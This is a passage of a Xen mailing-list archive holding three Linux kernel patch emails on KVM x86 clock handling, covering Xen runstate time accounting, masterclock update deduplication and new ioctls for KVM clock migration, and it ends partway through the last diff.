DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=V5hQ2fJb27QK5yOdBL7f7A818+T1JNBNilH2QwnYDyE=; b=UEnwhLQsS2wkPtr1Pd+i9zzOxH
	sP8ejEvNPTu+HXmRA1IRK2tldo2/gJzqZvVFkblE3k6NJg2illNeTq4r1tIkNMYNlkdWFonJNHdMK
	mhSmA+bD14VOI9+r+ngRb7JB7fqCDAalnTCht1e3MXaFddIt8qbgkhuau0zS6oAateAvgrEcabeSd
	8ssD8QbBlyyz0HmKWi8dhUlItveVTjZXTUCDUvvZgduEIsDDko+7didrcRF7/U9ZjOHxshnYVg5m8
	dzZupkJUGPLn1s+4YQMYQSdzXtYuOWrxtKD6MQ0XG4ZFW1ckoKyrimh4GbzgzAMJIyiUdwJSkSu0l
	7JBF15DA==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 26/36] KVM: x86/xen: Prevent runstate times from becoming negative
Date: Fri,  3 Jul 2026 22:18:05 +0100
Message-ID: <20260703212145.343527-27-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113722-B59BA5D1-E40BB414/0/0
X-purgate-type: clean
X-purgate-size: 3262

From: David Woodhouse <dwmw@amazon.co.uk>

When kvm_xen_update_runstate() is invoked to set a vCPU's runstate, the
time spent in the previous runstate is accounted. This is based on the
delta between the current KVM clock time, and the previous value stored
in vcpu->arch.xen.runstate_entry_time.

If the KVM clock goes backwards, that delta will be negative. Or, since
it's an unsigned 64-bit integer, very *large*. Linux guests deal with
that particularly badly, reporting 100% steal time for ever more (well,
for *centuries* at least, until the delta has been consumed).

So when a negative delta is detected, just refrain from updating the
runstate times until the KVM clock catches up with runstate_entry_time
again.

Also clamp steal_ns to delta_ns to prevent steal time from exceeding
the total elapsed time, and handle negative steal_ns (which can happen
if run_delay goes backwards across a scheduler update).

The userspace APIs for setting the runstate times do not allow them to
be set past the current KVM clock, but userspace can still adjust the
KVM clock *after* setting the runstate times, which would cause this
situation to occur.

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Reviewed-by: Paul Durrant <paul@xen.org>
---
 arch/x86/kvm/xen.c | 28 ++++++++++++++++++++++------
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/arch/x86/kvm/xen.c b/arch/x86/kvm/xen.c
index 82e34edbfdbd..b1d67ece5db3 100644
--- a/arch/x86/kvm/xen.c
+++ b/arch/x86/kvm/xen.c
@@ -586,29 +586,45 @@ void kvm_xen_update_runstate(struct kvm_vcpu *v, int state)
 {
 	struct kvm_vcpu_xen *vx = &v->arch.xen;
 	u64 now = get_kvmclock_ns(v->kvm);
-	u64 delta_ns = now - vx->runstate_entry_time;
 	u64 run_delay = current->sched_info.run_delay;
+	s64 delta_ns = now - vx->runstate_entry_time;
+	s64 steal_ns = run_delay - vx->last_steal;
 
+	/*
+	 * If the vCPU was never run before, its prior state should
+	 * be considered RUNSTATE_offline.
+	 */
 	if (unlikely(!vx->runstate_entry_time))
 		vx->current_runstate = RUNSTATE_offline;
 
+	/*
+	 * If KVM clock went backwards, just update the current runstate
+	 * but don't account any time. Leave entry_time unchanged so the
+	 * next positive delta covers the full period once the clock
+	 * catches up. Update last_steal every time so stolen time only
+	 * reflects the interval since the most recent call.
+	 */
+	if (delta_ns < 0)
+		goto update_guest;
+
 	/*
 	 * Time waiting for the scheduler isn't "stolen" if the
 	 * vCPU wasn't running anyway.
 	 */
-	if (vx->current_runstate == RUNSTATE_running) {
-		u64 steal_ns = run_delay - vx->last_steal;
+	if (vx->current_runstate == RUNSTATE_running && steal_ns > 0) {
+		if (steal_ns > delta_ns)
+			steal_ns = delta_ns;
 
 		delta_ns -= steal_ns;
-
 		vx->runstate_times[RUNSTATE_runnable] += steal_ns;
 	}
-	vx->last_steal = run_delay;
 
 	vx->runstate_times[vx->current_runstate] += delta_ns;
-	vx->current_runstate = state;
 	vx->runstate_entry_time = now;
 
+ update_guest:
+	vx->current_runstate = state;
+	vx->last_steal = run_delay;
 	if (vx->runstate_cache.active)
 		kvm_xen_update_runstate_guest(v, state == RUNSTATE_runnable);
 }
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353751.1609454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-0005Fb-BS; Fri, 03 Jul 2026 21:22:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353751.1609454; Fri, 03 Jul 2026 21:22:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-0005Eh-60; Fri, 03 Jul 2026 21:22:05 +0000
Received: by outflank-mailman (input) for mailman id 1353751;
 Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKk-00051P-Kz
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKk-001t36-1i; Fri, 03 Jul 2026 23:22:02 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827ca-bab6-0a2a0a5309dd-0a2a4503bf3c-16
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f9-ec1a-0a2a45030019-5a9b3222c562-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKX-0000000AsYG-1i3E; Fri, 03 Jul 2026 21:21:49 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKX-00000001RPb-1H0I;
 Fri, 03 Jul 2026 22:21:49 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=CzWz4Us7r/rEWP66HSxuHNlM7/EVQzg+tC4fjHgL8hU=; b=mTF1YHeydnaypEa+INXWx9qXoR
	M0PqgmKfFa4z677E1dsW1eEvyWkF6xUV1PdB8gg/x+CCYBbTc8AfTSe7OkZPaq2U5ubShAbVjKgct
	kCMUrQtwKWJRjjP9W7glXLslomFXL1Uab3oPmtTv/VeXByun+aTfqAFILzp5HUTkuKh4m1NdyROs6
	HNxK1P0nee9tkb0MG2OqepLt57YqRuJjvJlfa11a8OWJs2g1z30A2IGWV3whrfTOf0xpAlQC1+teG
	DfqFxOoVBfqyecjXVw+McN+dGdz8Nmn7AjS0GmGwMHLWHq8299lfwPp8dMCfRogqtIfbHaA41RpTZ
	GQMkyl5A==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 27/36] KVM: x86: Avoid redundant masterclock updates from multiple vCPUs
Date: Fri,  3 Jul 2026 22:18:06 +0100
Message-ID: <20260703212145.343527-28-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-33051d/1783113721-B63305D1-3A59CD18/0/0
X-purgate-type: clean
X-purgate-size: 5183

From: David Woodhouse <dwmw@amazon.co.uk>

When a masterclock update is triggered (e.g. by the clocksource change
notifier), KVM_REQ_MASTERCLOCK_UPDATE is set on all vCPUs. Without this
fix, each vCPU independently processes the request and redundantly
re-executes the entire pvclock_update_vm_gtod_copy() sequence, serialized
only by tsc_write_lock. Each redundant re-snapshot of the master clock
reference point introduces potential clock drift.

Fix this by having __kvm_start_pvclock_update() check, after acquiring
the lock, whether the requesting vCPU's KVM_REQ_MASTERCLOCK_UPDATE is
still set. If another vCPU already did the update and cleared it, bail
out. Otherwise, clear the request on all other vCPUs before proceeding.

The caller in vcpu_enter_guest() now uses kvm_test_request() (non-clearing)
since the clearing is done inside __kvm_start_pvclock_update() under the
lock.

Suggested-by: Dongli Zhang <dongli.zhang@oracle.com>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 arch/x86/kvm/x86.c | 60 +++++++++++++++++++++++++++++++++++-----------
 1 file changed, 46 insertions(+), 14 deletions(-)

diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index 2a1e1a1ab6ee..80fe69974ded 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -3282,10 +3282,39 @@ static void kvm_make_mclock_inprogress_request(struct kvm *kvm)
 	kvm_make_all_cpus_request(kvm, KVM_REQ_MCLOCK_INPROGRESS);
 }
 
-static void __kvm_start_pvclock_update(struct kvm *kvm)
+static void kvm_clear_mclock_inprogress_request(struct kvm *kvm)
 {
+	struct kvm_vcpu *vcpu;
+	unsigned long i;
+
+	kvm_for_each_vcpu(i, vcpu, kvm)
+		kvm_clear_request(KVM_REQ_MCLOCK_INPROGRESS, vcpu);
+}
+
+static bool __kvm_start_pvclock_update(struct kvm *kvm, struct kvm_vcpu *requesting_vcpu)
+{
+	struct kvm_vcpu *vcpu;
+	unsigned long i;
+
 	raw_spin_lock_irq(&kvm->arch.tsc_write_lock);
+
+	/*
+	 * If another vCPU already did the update while we were waiting
+	 * for the lock, our request will have been cleared. Bail out.
+	 */
+	if (requesting_vcpu &&
+	    !kvm_test_request(KVM_REQ_MASTERCLOCK_UPDATE, requesting_vcpu)) {
+		kvm_clear_mclock_inprogress_request(kvm);
+		raw_spin_unlock_irq(&kvm->arch.tsc_write_lock);
+		return false;
+	}
+
+	/* The update is VM-wide; prevent other vCPUs from redoing it. */
+	kvm_for_each_vcpu(i, vcpu, kvm)
+		kvm_clear_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu);
+
 	write_seqcount_begin(&kvm->arch.pvclock_sc);
+	return true;
 }
 
 static void kvm_start_pvclock_update(struct kvm *kvm)
@@ -3293,7 +3322,7 @@ static void kvm_start_pvclock_update(struct kvm *kvm)
 	kvm_make_mclock_inprogress_request(kvm);
 
 	/* no guest entries from this point */
-	__kvm_start_pvclock_update(kvm);
+	__kvm_start_pvclock_update(kvm, NULL);
 }
 
 static void kvm_end_pvclock_update(struct kvm *kvm)
@@ -3302,22 +3331,25 @@ static void kvm_end_pvclock_update(struct kvm *kvm)
 	struct kvm_vcpu *vcpu;
 	unsigned long i;
 
-	write_seqcount_end(&ka->pvclock_sc);
-	raw_spin_unlock_irq(&ka->tsc_write_lock);
 	kvm_for_each_vcpu(i, vcpu, kvm)
 		kvm_make_request(KVM_REQ_CLOCK_UPDATE, vcpu);
 
 	/* guest entries allowed */
-	kvm_for_each_vcpu(i, vcpu, kvm)
-		kvm_clear_request(KVM_REQ_MCLOCK_INPROGRESS, vcpu);
+	kvm_clear_mclock_inprogress_request(kvm);
+
+	write_seqcount_end(&ka->pvclock_sc);
+	raw_spin_unlock_irq(&ka->tsc_write_lock);
 }
 
-static void kvm_update_masterclock(struct kvm *kvm)
+static void kvm_update_masterclock(struct kvm *kvm, struct kvm_vcpu *vcpu)
 {
 	kvm_hv_request_tsc_page_update(kvm);
-	kvm_start_pvclock_update(kvm);
-	pvclock_update_vm_gtod_copy(kvm);
-	kvm_end_pvclock_update(kvm);
+	kvm_make_mclock_inprogress_request(kvm);
+
+	if (__kvm_start_pvclock_update(kvm, vcpu)) {
+		pvclock_update_vm_gtod_copy(kvm);
+		kvm_end_pvclock_update(kvm);
+	}
 }
 
 /*
@@ -10144,7 +10176,7 @@ static void kvm_hyperv_tsc_notifier(void)
 	kvm_caps.max_guest_tsc_khz = tsc_khz;
 
 	list_for_each_entry(kvm, &vm_list, vm_list) {
-		__kvm_start_pvclock_update(kvm);
+		__kvm_start_pvclock_update(kvm, NULL);
 		pvclock_update_vm_gtod_copy(kvm);
 		kvm_end_pvclock_update(kvm);
 	}
@@ -11522,8 +11554,8 @@ static int vcpu_enter_guest(struct kvm_vcpu *vcpu)
 			kvm_mmu_free_obsolete_roots(vcpu);
 		if (kvm_check_request(KVM_REQ_MIGRATE_TIMER, vcpu))
 			__kvm_migrate_timers(vcpu);
-		if (kvm_check_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
-			kvm_update_masterclock(vcpu->kvm);
+		if (kvm_test_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
+			kvm_update_masterclock(vcpu->kvm, vcpu);
 		if (kvm_check_request(KVM_REQ_GLOBAL_CLOCK_UPDATE, vcpu))
 			kvm_gen_kvmclock_update(vcpu);
 		if (kvm_check_request(KVM_REQ_CLOCK_UPDATE, vcpu)) {
@@ -13260,7 +13292,7 @@ void kvm_arch_vcpu_postcreate(struct kvm_vcpu *vcpu)
 	vcpu_load(vcpu);
 	kvm_synchronize_tsc(vcpu, NULL);
 	if (!vcpu->kvm->arch.use_master_clock)
-		kvm_update_masterclock(vcpu->kvm);
+		kvm_update_masterclock(vcpu->kvm, NULL);
 	vcpu_put(vcpu);
 
 	/* poll control enabled by default */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 21:22:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 21:22:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353749.1609448 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKn-00056f-3S; Fri, 03 Jul 2026 21:22:05 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353749.1609448; Fri, 03 Jul 2026 21:22:05 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wflKm-00055K-Rl; Fri, 03 Jul 2026 21:22:04 +0000
Received: by outflank-mailman (input) for mailman id 1353749;
 Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wflKl-00051N-OQ
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 21:22:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wflKj-00A7vt-8P; Fri, 03 Jul 2026 23:22:01 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827ce-e002-0a2a0a5209dd-0a2a45029cd6-32
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+ba378bf2ab63d22ff04d+8349+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a4827f8-5a27-0a2a45020019-5a9b322291d8-3
 for <multiple-recipients>; Fri, 03 Jul 2026 23:22:00 +0200
Received: from [2001:8b0:10b:1::425] (helo=i7.infradead.org)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wflKW-0000000AsXz-0V43; Fri, 03 Jul 2026 21:21:48 +0000
Received: from dwoodhou by i7.infradead.org with local (Exim 4.99.2 #2 (Red
 Hat Linux)) id 1wflKW-00000001RO5-085M;
 Fri, 03 Jul 2026 22:21:48 +0100
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="Sender:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=Sender:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:To:From:Reply-To:
	Cc:Content-Type:Content-ID:Content-Description;
	bh=0/Ko95h1bBGKJF1vvgeKDeWdrJpZvK3VkW99NKrhR+Q=; b=S3vRHxeLB0ApTOC406bbIRimZD
	LC6e7diwcttbDgjqEu6A71ZDwAAcje0fFBxS68GU3Rfpt7DbqJ9S/Kc6YHHHgvP/ABwSAHYC9PBFL
	ExKQNj0bFNhPncvKdMD4ZLP4CgQKvO9Xa4jNtOj9quyXzxQqCYv77ZbzSeLPna3xQqFpaUM7C8hpL
	w1ToHaEd0myJRhspO9phRm30ftZIbMOSVix/C2jEv5SWWjcilsUMd/+SAOStTEb/ZP8M6rNDJN6oU
	9W7Wj/lhjERIlMWnMxL286yDCeSUwlLCNPdfZi9mNLMZt6wx3/JQQHG1MfOiAlxHMdyGK8Yfr6PoF
	Wq7/22PQ==;
From: David Woodhouse <dwmw2@infradead.org>
To: Paolo Bonzini <pbonzini@redhat.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Shuah Khan <skhan@linuxfoundation.org>,
	Sean Christopherson <seanjc@google.com>,
	Thomas Gleixner <tglx@kernel.org>,
	Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>,
	x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>,
	Juergen Gross <jgross@suse.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>,
	David Woodhouse <dwmw2@infradead.org>,
	Paul Durrant <paul@xen.org>,
	Jonathan Cameron <jic23@kernel.org>,
	Sascha Bischoff <Sascha.Bischoff@arm.com>,
	Marc Zyngier <maz@kernel.org>,
	Joey Gouly <joey.gouly@arm.com>,
	Jack Allister <jalliste@amazon.com>,
	Dongli Zhang <dongli.zhang@oracle.com>,
	joe.jin@oracle.com,
	kvm@vger.kernel.org,
	linux-doc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-kselftest@vger.kernel.org
Subject: [PATCH v6 05/36] KVM: x86: Add KVM_[GS]ET_CLOCK_GUEST for accurate KVM clock migration
Date: Fri,  3 Jul 2026 22:17:44 +0100
Message-ID: <20260703212145.343527-6-dwmw2@infradead.org>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260703212145.343527-1-dwmw2@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Sender: David Woodhouse <dwmw2@infradead.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1783113720-5411E7C5-86A5D477/0/0
X-purgate-type: clean
X-purgate-size: 11360

From: Jack Allister <jalliste@amazon.com>

In the common case (where kvm->arch.use_master_clock is true), the KVM
clock is defined as a simple arithmetic function of the guest TSC, based
on a reference point stored in kvm->arch.master_kernel_ns and
kvm->arch.master_cycle_now.

The existing KVM_[GS]ET_CLOCK functionality does not allow for this
relationship to be precisely saved and restored by userspace. All it can
currently do is set the KVM clock at a given UTC reference time, which
is necessarily imprecise.

So on live update, the guest TSC can remain cycle accurate at precisely
the same offset from the host TSC, but there is no way for userspace to
restore the KVM clock accurately.

Even on live migration to a new host, where the accuracy of the guest
time-keeping is fundamentally limited by the accuracy of wallclock
synchronization between the source and destination hosts, the clock jump
experienced by the guest's TSC and its KVM clock should at least be
*consistent*. Even when the guest TSC suffers a discontinuity, its KVM
clock should still remain the *same* arithmetic function of the guest
TSC, and not suffer an *additional* discontinuity.

To allow for accurate migration of the KVM clock, add per-vCPU ioctls
which save and restore the actual PV clock info in
pvclock_vcpu_time_info.

The restoration in KVM_SET_CLOCK_GUEST works by creating a new reference
point in time just as kvm_update_masterclock() does, and calculating the
corresponding guest TSC value. This guest TSC value is then passed
through the user-provided pvclock structure to generate the *intended*
KVM clock value at that point in time, and through the *actual* KVM
clock calculation. Then kvm->arch.kvmclock_offset is adjusted to
eliminate the difference.

Where kvm->arch.use_master_clock is false (because the host TSC is
unreliable, or the guest TSCs are configured strangely), the KVM clock
is *not* defined as a function of the guest TSC so KVM_GET_CLOCK_GUEST
returns an error. In this case, as documented, userspace shall use the
legacy KVM_GET_CLOCK ioctl. The loss of precision is acceptable in this
case since the clocks are imprecise in this mode anyway.

On *restoration*, if kvm->arch.use_master_clock is false, an error is
returned for similar reasons and userspace shall fall back to using
KVM_SET_CLOCK. This does mean that, as documented, userspace needs to
use *both* KVM_GET_CLOCK_GUEST and KVM_GET_CLOCK and send both results
with the migration data (unless the intent is to refuse to resume on a
host with bad TSC).

Co-developed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Jack Allister <jalliste@amazon.com>
Reviewed-by: Paul Durrant <paul@xen.org>
Cc: Dongli Zhang <dongli.zhang@oracle.com>
Tested-by: Dongli Zhang <dongli.zhang@oracle.com>
---
 Documentation/virt/kvm/api.rst  |  37 +++++++
 arch/x86/include/uapi/asm/kvm.h |   1 +
 arch/x86/kvm/x86.c              | 171 ++++++++++++++++++++++++++++++++
 include/uapi/linux/kvm.h        |   3 +
 4 files changed, 212 insertions(+)

diff --git a/Documentation/virt/kvm/api.rst b/Documentation/virt/kvm/api.rst
index 52bbbb553ce1..2268b4442df6 100644
--- a/Documentation/virt/kvm/api.rst
+++ b/Documentation/virt/kvm/api.rst
@@ -6553,6 +6553,43 @@ KVM_S390_KEYOP_SSKE
   Sets the storage key for the guest address ``guest_addr`` to the key
   specified in ``key``, returning the previous value in ``key``.
 
+4.145 KVM_GET_CLOCK_GUEST
+----------------------------
+
+:Capability: none
+:Architectures: x86_64
+:Type: vcpu ioctl
+:Parameters: struct pvclock_vcpu_time_info (out)
+:Returns: 0 on success, <0 on error
+
+Retrieves the current time information structure used for KVM/PV clocks,
+in precisely the form advertised to the guest vCPU, which gives parameters
+for a direct conversion from a guest TSC value to nanoseconds.
+
+When the KVM clock is not in "master clock" mode, for example because the
+host TSC is unreliable or the guest TSCs are oddly configured, the KVM clock
+is actually defined by the host CLOCK_MONOTONIC_RAW instead of the guest TSC.
+In this case, the KVM_GET_CLOCK_GUEST ioctl returns -EINVAL.
+
+4.146 KVM_SET_CLOCK_GUEST
+----------------------------
+
+:Capability: none
+:Architectures: x86_64
+:Type: vcpu ioctl
+:Parameters: struct pvclock_vcpu_time_info (in)
+:Returns: 0 on success, <0 on error
+
+Sets the KVM clock (for the whole VM) in terms of the vCPU TSC, using the
+pvclock structure as returned by KVM_GET_CLOCK_GUEST. This allows the precise
+arithmetic relationship between guest TSC and KVM clock to be preserved by
+userspace across migration.
+
+When the KVM clock is not in "master clock" mode, and the KVM clock is actually
+defined by the host CLOCK_MONOTONIC_RAW, this ioctl returns -EINVAL. Userspace
+may choose to set the clock using the less precise KVM_SET_CLOCK ioctl, or may
+choose to fail, denying migration to a host whose TSC is misbehaving.
+
 .. _kvm_run:
 
 5. The kvm_run structure
diff --git a/arch/x86/include/uapi/asm/kvm.h b/arch/x86/include/uapi/asm/kvm.h
index 5f2b30d0405c..5f4a66b1662a 100644
--- a/arch/x86/include/uapi/asm/kvm.h
+++ b/arch/x86/include/uapi/asm/kvm.h
@@ -12,6 +12,7 @@
 #include <linux/types.h>
 #include <linux/ioctl.h>
 #include <linux/stddef.h>
+#include <asm/pvclock-abi.h>
 
 #define KVM_PIO_PAGE_OFFSET 1
 #define KVM_COALESCED_MMIO_PAGE_OFFSET 2
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index dbcff49cd561..ff45577ed90c 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -6210,6 +6210,169 @@ static int kvm_get_reg_list(struct kvm_vcpu *vcpu,
 	return 0;
 }
 
